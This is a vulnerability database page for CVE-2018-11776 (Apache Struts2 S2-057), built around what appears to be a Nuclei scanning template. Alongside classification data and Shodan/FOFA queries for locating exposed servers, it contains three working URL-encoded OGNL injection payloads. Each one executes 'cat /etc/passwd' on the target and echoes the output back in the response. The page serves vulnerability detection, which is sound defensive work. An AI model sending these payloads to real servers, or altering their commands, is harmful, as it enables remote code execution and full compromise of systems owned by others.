SecurityContext

CVE-2018-11776: Apache Struts2 S2-057 - Remote Code Execution

Classification

  • Cwe: CWE-20
  • Cvss score: 8.1
  • Cvss vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.99996
  • Epss percentile: 0.99989
  • Cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="struts problem report", title="struts2 showcase", body="apache struts"
  • Google-query: intitle:"struts2 showcase"
  • Max-request: 2
  • Product: struts
  • Shodan-query: http.html:"apache struts", http.title:"struts2 showcase", http.html:"struts problem report"
  • Vendor: apache

Products

ProductIndexedUrl
apache:strutsyes/v1/products/apache/struts

Labels

  • Name: Apache Struts - Remote Code Execution
  • Impact: Attackers can execute arbitrary code remotely, leading to full system compromise.
  • Remediation: Update to the latest version of Apache Struts, preferably beyond 2.5.16 or apply security patches addressing namespace handling.
  • Vulnerability type: template_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2018-11776
  • Not known: requirements

```yaml

id: CVE-2018-11776

info:

name: Apache Struts2 S2-057 - Remote Code Execution

author: pikpikcu

severity: high

description: |

Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.

impact: |

Remote code execution

remediation: |

Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.

reference:

- https://github.com/jas502n/St2-057

- https://cwiki.apache.org/confluence/display/WW/S2-057

- https://security.netapp.com/advisory/ntap-20180822-0001/

- https://nvd.nist.gov/vuln/detail/CVE-2018-11776

- http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 8.1

cve-id: CVE-2018-11776

cwe-id: CWE-20

epss-score: 0.99996

epss-percentile: 0.99989

cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: apache

product: struts

shodan-query:

- http.html:"apache struts"

- http.title:"struts2 showcase"

- http.html:"struts problem report"

fofa-query:

- body="struts problem report"

- title="struts2 showcase"

- body="apache struts"

google-query: intitle:"struts2 showcase"

tags: cve,cve2018,packetstorm,apache,rce,struts,kev,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%[email protected]@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%[email protected]@getResponse%28%29.getOutputStream%28%29%29%29.%[email protected]@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action"

- "{{BaseURL}}/%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29%29.%[email protected]@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action"

- "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"

stop-at-first-match: true

matchers:

- type: dsl

dsl:

- 'status_code == 200 || status_code == 302'

- "regex('root:.*:0:0:', body) || regex('root:.*:0:0:', header)"

condition: and

digest: 4a0a00473045022100a11e4c586db47ea41fa99798817e25ac90f5dcc1b0f7297a0492dab27a7cfad5022055484fbade1d8603df845d19514ef5fa04c4912e6fd42af22a1897ad95a3b341:922c64590222798bb761d5b6d8e72950

```